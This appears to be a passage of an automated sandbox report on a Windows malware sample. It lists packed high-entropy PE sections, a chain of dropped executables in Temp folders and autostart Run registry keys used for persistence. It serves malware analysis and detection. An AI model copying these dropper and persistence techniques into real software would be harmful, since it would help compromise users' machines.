Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1933824 > 1048576

Source: file.exe

Static PE information: Raw size of kxpzlyin is bigger than: 0x100000 < 0x1a6600

Source:	Binary string: my_library.pdbU source: b02ca6c530.exe, 00000007.00000003.1872114375.0000000004C4B000.00000004.00001000.00020000.00000000.sdmp, b02ca6c530.exe, 00000007.00000002.1913143748.00000000001FC000.00000040.00000001.01000000.00000009.sdmp, b02ca6c530.exe, 0000000B.00000003.1990105604.0000000004C2B000.00000004.00001000.00020000.00000000.sdmp, b02ca6c530.exe, 0000000B.00000002.2049326377.00000000001FC000.00000040.00000001.01000000.00000009.sdmp, b02ca6c530.exe, 0000000E.00000003.2156814063.0000000004C2B000.00000004.00001000.00020000.00000000.sdmp, b02ca6c530.exe, 0000000E.00000002.2211768610.00000000001FC000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: my_library.pdb source: b02ca6c530.exe, b02ca6c530.exe, 0000000B.00000003.1990105604.0000000004C2B000.00000004.00001000.00020000.00000000.sdmp, b02ca6c530.exe, 0000000B.00000002.2049326377.00000000001FC000.00000040.00000001.01000000.00000009.sdmp, b02ca6c530.exe, 0000000E.00000003.2156814063.0000000004C2B000.00000004.00001000.00020000.00000000.sdmp, b02ca6c530.exe, 0000000E.00000002.2211768610.00000000001FC000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: K73CAIXQZ7ROMEX8OQ5J7.exe, 0000000D.00000002.2275816134.0000000000B62000.00000040.00000001.01000000.0000000B.sdmp, K73CAIXQZ7ROMEX8OQ5J7.exe, 0000000D.00000003.2139518597.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, e62942d11f.exe, 00000018.00000003.2520651882.0000000004990000.00000004.00001000.00020000.00000000.sdmp, e62942d11f.exe, 00000018.00000002.2622619851.0000000000C12000.00000040.00000001.01000000.00000013.sdmp, 7c247f0fb6.exe, 00000019.00000003.2566929808.0000000005090000.00000004.00001000.00020000.00000000.sdmp, 7c247f0fb6.exe, 00000019.00000002.2621259183.0000000000D22000.00000040.00000001.01000000.00000014.sdmp, BDDBC4BP671F32YA9Q.exe, 0000001A.00000002.2622678766.0000000000C92000.00000040.00000001.01000000.00000015.sdmp, BDDBC4BP671F32YA9Q.exe, 0000001A.00000003.2606998063.00000000049C0000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.4d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kxpzlyin:EW;ryespbnx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kxpzlyin:EW;ryespbnx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 2.2.axplong.exe.f60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kxpzlyin:EW;ryespbnx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kxpzlyin:EW;ryespbnx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 4.2.axplong.exe.f60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kxpzlyin:EW;ryespbnx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kxpzlyin:EW;ryespbnx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Unpacked PE file: 7.2.b02ca6c530.exe.1d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;dcpywpmo:EW;ghlarfhj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;dcpywpmo:EW;ghlarfhj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Unpacked PE file: 12.2.59d7339838.exe.df0000.0.unpack :EW;.rsrc:W;.idata :W;rdpqavxy:EW;vlmkkwpy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rdpqavxy:EW;vlmkkwpy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Unpacked PE file: 13.2.K73CAIXQZ7ROMEX8OQ5J7.exe.b60000.0.unpack :EW;.rsrc:W;.idata :W;ziejvuqc:EW;vpkhfhix:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Unpacked PE file: 15.2.WBQBXT7R0KIHGBUKORZPTVE39I.exe.980000.0.unpack :EW;.rsrc:W;.idata :W; :EW;npluczcb:EW;cveucipf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;npluczcb:EW;cveucipf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 16.2.skotes.exe.9a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;npluczcb:EW;cveucipf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;npluczcb:EW;cveucipf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 17.2.skotes.exe.9a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;npluczcb:EW;cveucipf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;npluczcb:EW;cveucipf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Unpacked PE file: 18.2.59d7339838.exe.df0000.0.unpack :EW;.rsrc:W;.idata :W;rdpqavxy:EW;vlmkkwpy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;rdpqavxy:EW;vlmkkwpy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.9a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;npluczcb:EW;cveucipf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;npluczcb:EW;cveucipf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Unpacked PE file: 22.2.5708637e68.exe.ce0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kxpzlyin:EW;ryespbnx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kxpzlyin:EW;ryespbnx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Unpacked PE file: 24.2.e62942d11f.exe.c10000.0.unpack :EW;.rsrc:W;.idata :W;ziejvuqc:EW;vpkhfhix:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Unpacked PE file: 25.2.7c247f0fb6.exe.d20000.0.unpack :EW;.rsrc:W;.idata :W;ziejvuqc:EW;vpkhfhix:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Unpacked PE file: 26.2.BDDBC4BP671F32YA9Q.exe.c90000.0.unpack :EW;.rsrc:W;.idata :W;ziejvuqc:EW;vpkhfhix:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: K73CAIXQZ7ROMEX8OQ5J7.exe.10.dr	Static PE information: real checksum: 0x2b2e4b should be: 0x2ac679
Source: random[1].exe.4.dr	Static PE information: real checksum: 0x2d5f17 should be: 0x2d1b47
Source: 7c247f0fb6.exe.16.dr	Static PE information: real checksum: 0x2b2e4b should be: 0x2ac679
Source: random[1].exe.16.dr	Static PE information: real checksum: 0x1e43c5 should be: 0x1dc7b7
Source: e62942d11f.exe.16.dr	Static PE information: real checksum: 0x2b2e4b should be: 0x2ac679
Source: b02ca6c530.exe.4.dr	Static PE information: real checksum: 0x215252 should be: 0x21306d
Source: axplong.exe.0.dr	Static PE information: real checksum: 0x1e43c5 should be: 0x1dc7b7
Source: skotes.exe.15.dr	Static PE information: real checksum: 0x1d8d5d should be: 0x1d1ab0
Source: BDDBC4BP671F32YA9Q.exe.20.dr	Static PE information: real checksum: 0x2b2e4b should be: 0x2ac679
Source: WBQBXT7R0KIHGBUKORZPTVE39I.exe.10.dr	Static PE information: real checksum: 0x1d8d5d should be: 0x1d1ab0
Source: 5708637e68.exe.16.dr	Static PE information: real checksum: 0x1e43c5 should be: 0x1dc7b7
Source: FontCreator[1].exe.16.dr	Static PE information: real checksum: 0x5ee9e5 should be: 0x3b141c
Source: file.exe	Static PE information: real checksum: 0x1e43c5 should be: 0x1dc7b7
Source: random[1].exe0.4.dr	Static PE information: real checksum: 0x215252 should be: 0x21306d
Source: random[2].exe.16.dr	Static PE information: real checksum: 0x2b2e4b should be: 0x2ac679
Source: FontCreator.exe.16.dr	Static PE information: real checksum: 0x5ee9e5 should be: 0x3b141c
Source: 59d7339838.exe.4.dr	Static PE information: real checksum: 0x2d5f17 should be: 0x2d1b47

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: kxpzlyin
Source: file.exe	Static PE information: section name: ryespbnx
Source: file.exe	Static PE information: section name: .taggant
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: kxpzlyin
Source: axplong.exe.0.dr	Static PE information: section name: ryespbnx
Source: axplong.exe.0.dr	Static PE information: section name: .taggant
Source: b02ca6c530.exe.4.dr	Static PE information: section name:
Source: b02ca6c530.exe.4.dr	Static PE information: section name: .rsrc
Source: b02ca6c530.exe.4.dr	Static PE information: section name: .idata
Source: b02ca6c530.exe.4.dr	Static PE information: section name:
Source: b02ca6c530.exe.4.dr	Static PE information: section name: dcpywpmo
Source: b02ca6c530.exe.4.dr	Static PE information: section name: ghlarfhj
Source: b02ca6c530.exe.4.dr	Static PE information: section name: .taggant
Source: random[1].exe.4.dr	Static PE information: section name:
Source: random[1].exe.4.dr	Static PE information: section name: .idata
Source: random[1].exe.4.dr	Static PE information: section name: rdpqavxy
Source: random[1].exe.4.dr	Static PE information: section name: vlmkkwpy
Source: random[1].exe.4.dr	Static PE information: section name: .taggant
Source: 59d7339838.exe.4.dr	Static PE information: section name:
Source: 59d7339838.exe.4.dr	Static PE information: section name: .idata
Source: 59d7339838.exe.4.dr	Static PE information: section name: rdpqavxy
Source: 59d7339838.exe.4.dr	Static PE information: section name: vlmkkwpy
Source: 59d7339838.exe.4.dr	Static PE information: section name: .taggant
Source: random[1].exe0.4.dr	Static PE information: section name:
Source: random[1].exe0.4.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.4.dr	Static PE information: section name: .idata
Source: random[1].exe0.4.dr	Static PE information: section name:
Source: random[1].exe0.4.dr	Static PE information: section name: dcpywpmo
Source: random[1].exe0.4.dr	Static PE information: section name: ghlarfhj
Source: random[1].exe0.4.dr	Static PE information: section name: .taggant
Source: K73CAIXQZ7ROMEX8OQ5J7.exe.10.dr	Static PE information: section name:
Source: K73CAIXQZ7ROMEX8OQ5J7.exe.10.dr	Static PE information: section name: .idata
Source: K73CAIXQZ7ROMEX8OQ5J7.exe.10.dr	Static PE information: section name: ziejvuqc
Source: K73CAIXQZ7ROMEX8OQ5J7.exe.10.dr	Static PE information: section name: vpkhfhix
Source: K73CAIXQZ7ROMEX8OQ5J7.exe.10.dr	Static PE information: section name: .taggant
Source: WBQBXT7R0KIHGBUKORZPTVE39I.exe.10.dr	Static PE information: section name:
Source: WBQBXT7R0KIHGBUKORZPTVE39I.exe.10.dr	Static PE information: section name: .idata
Source: WBQBXT7R0KIHGBUKORZPTVE39I.exe.10.dr	Static PE information: section name:
Source: WBQBXT7R0KIHGBUKORZPTVE39I.exe.10.dr	Static PE information: section name: npluczcb
Source: WBQBXT7R0KIHGBUKORZPTVE39I.exe.10.dr	Static PE information: section name: cveucipf
Source: WBQBXT7R0KIHGBUKORZPTVE39I.exe.10.dr	Static PE information: section name: .taggant
Source: skotes.exe.15.dr	Static PE information: section name:
Source: skotes.exe.15.dr	Static PE information: section name: .idata
Source: skotes.exe.15.dr	Static PE information: section name:
Source: skotes.exe.15.dr	Static PE information: section name: npluczcb
Source: skotes.exe.15.dr	Static PE information: section name: cveucipf
Source: skotes.exe.15.dr	Static PE information: section name: .taggant
Source: random[1].exe.16.dr	Static PE information: section name:
Source: random[1].exe.16.dr	Static PE information: section name: .idata
Source: random[1].exe.16.dr	Static PE information: section name:
Source: random[1].exe.16.dr	Static PE information: section name: kxpzlyin
Source: random[1].exe.16.dr	Static PE information: section name: ryespbnx
Source: random[1].exe.16.dr	Static PE information: section name: .taggant
Source: 5708637e68.exe.16.dr	Static PE information: section name:
Source: 5708637e68.exe.16.dr	Static PE information: section name: .idata
Source: 5708637e68.exe.16.dr	Static PE information: section name:
Source: 5708637e68.exe.16.dr	Static PE information: section name: kxpzlyin
Source: 5708637e68.exe.16.dr	Static PE information: section name: ryespbnx
Source: 5708637e68.exe.16.dr	Static PE information: section name: .taggant
Source: random[2].exe.16.dr	Static PE information: section name:
Source: random[2].exe.16.dr	Static PE information: section name: .idata
Source: random[2].exe.16.dr	Static PE information: section name: ziejvuqc
Source: random[2].exe.16.dr	Static PE information: section name: vpkhfhix
Source: random[2].exe.16.dr	Static PE information: section name: .taggant
Source: e62942d11f.exe.16.dr	Static PE information: section name:
Source: e62942d11f.exe.16.dr	Static PE information: section name: .idata
Source: e62942d11f.exe.16.dr	Static PE information: section name: ziejvuqc
Source: e62942d11f.exe.16.dr	Static PE information: section name: vpkhfhix
Source: e62942d11f.exe.16.dr	Static PE information: section name: .taggant
Source: 7c247f0fb6.exe.16.dr	Static PE information: section name:
Source: 7c247f0fb6.exe.16.dr	Static PE information: section name: .idata
Source: 7c247f0fb6.exe.16.dr	Static PE information: section name: ziejvuqc
Source: 7c247f0fb6.exe.16.dr	Static PE information: section name: vpkhfhix
Source: 7c247f0fb6.exe.16.dr	Static PE information: section name: .taggant
Source: FontCreator[1].exe.16.dr	Static PE information: section name: .didata
Source: FontCreator.exe.16.dr	Static PE information: section name: .didata
Source: BDDBC4BP671F32YA9Q.exe.20.dr	Static PE information: section name:
Source: BDDBC4BP671F32YA9Q.exe.20.dr	Static PE information: section name: .idata
Source: BDDBC4BP671F32YA9Q.exe.20.dr	Static PE information: section name: ziejvuqc
Source: BDDBC4BP671F32YA9Q.exe.20.dr	Static PE information: section name: vpkhfhix
Source: BDDBC4BP671F32YA9Q.exe.20.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_00F7D84C push ecx; ret	4_2_00F7D85F
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_052FB72E push ds; iretd	10_3_052FB72F
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0064C468 pushad ; ret	10_3_0064C469
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0064C468 pushad ; ret	10_3_0064C469
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0064C408 pushad ; ret	10_3_0064C409
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0064C408 pushad ; ret	10_3_0064C409
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0064E220 pushad ; ret	10_3_0064E221
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0064E220 pushad ; ret	10_3_0064E221
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_006B6034 push ebp; iretd	10_3_006B6037
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_006B6034 push ebp; iretd	10_3_006B6037
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_006B053C push ebp; iretd	10_3_006B053F
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_006B053C push ebp; iretd	10_3_006B053F
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_006B6D94 push ebp; iretd	10_3_006B6D97
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_006B6D94 push ebp; iretd	10_3_006B6D97
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0066054C pushad ; ret	10_3_0066054D
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0066054C pushad ; ret	10_3_0066054D
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0065CB2C pushad ; retf	10_3_0065CB31
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0065CB2C pushad ; retf	10_3_0065CB31
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0065C634 push eax; retf 0065h	10_3_0065C635
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0065C634 push eax; retf 0065h	10_3_0065C635
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_00662BE9 push ebp; iretd	10_3_00662BEC
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_00662BE9 push ebp; iretd	10_3_00662BEC
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_00661BA9 push ebp; iretd	10_3_00661BAC
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_00661BA9 push ebp; iretd	10_3_00661BAC
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0065B888 pushad ; ret	10_3_0065B889
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0065B888 pushad ; ret	10_3_0065B889
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0066054C pushad ; ret	10_3_0066054D
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0066054C pushad ; ret	10_3_0066054D
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0065CB2C pushad ; retf	10_3_0065CB31
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0065CB2C pushad ; retf	10_3_0065CB31
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Code function: 10_3_0065C634 push eax; retf 0065h	10_3_0065C635

Source: file.exe	Static PE information: section name: entropy: 7.983210433279274
Source: file.exe	Static PE information: section name: kxpzlyin entropy: 7.9530544203010995
Source: axplong.exe.0.dr	Static PE information: section name: entropy: 7.983210433279274
Source: axplong.exe.0.dr	Static PE information: section name: kxpzlyin entropy: 7.9530544203010995
Source: b02ca6c530.exe.4.dr	Static PE information: section name: dcpywpmo entropy: 7.953610135953472
Source: random[1].exe.4.dr	Static PE information: section name: entropy: 7.981028282456901
Source: 59d7339838.exe.4.dr	Static PE information: section name: entropy: 7.981028282456901
Source: random[1].exe0.4.dr	Static PE information: section name: dcpywpmo entropy: 7.953610135953472
Source: K73CAIXQZ7ROMEX8OQ5J7.exe.10.dr	Static PE information: section name: entropy: 7.801926370917028
Source: WBQBXT7R0KIHGBUKORZPTVE39I.exe.10.dr	Static PE information: section name: entropy: 7.983780159268144
Source: WBQBXT7R0KIHGBUKORZPTVE39I.exe.10.dr	Static PE information: section name: npluczcb entropy: 7.953091087271067
Source: skotes.exe.15.dr	Static PE information: section name: entropy: 7.983780159268144
Source: skotes.exe.15.dr	Static PE information: section name: npluczcb entropy: 7.953091087271067
Source: random[1].exe.16.dr	Static PE information: section name: entropy: 7.983210433279274
Source: random[1].exe.16.dr	Static PE information: section name: kxpzlyin entropy: 7.9530544203010995
Source: 5708637e68.exe.16.dr	Static PE information: section name: entropy: 7.983210433279274
Source: 5708637e68.exe.16.dr	Static PE information: section name: kxpzlyin entropy: 7.9530544203010995
Source: random[2].exe.16.dr	Static PE information: section name: entropy: 7.801926370917028
Source: e62942d11f.exe.16.dr	Static PE information: section name: entropy: 7.801926370917028
Source: 7c247f0fb6.exe.16.dr	Static PE information: section name: entropy: 7.801926370917028
Source: BDDBC4BP671F32YA9Q.exe.20.dr	Static PE information: section name: entropy: 7.801926370917028

Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File created: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003142001\FontCreator.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\FontCreator[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	File created: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 59d7339838.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b02ca6c530.exe	Jump to behavior
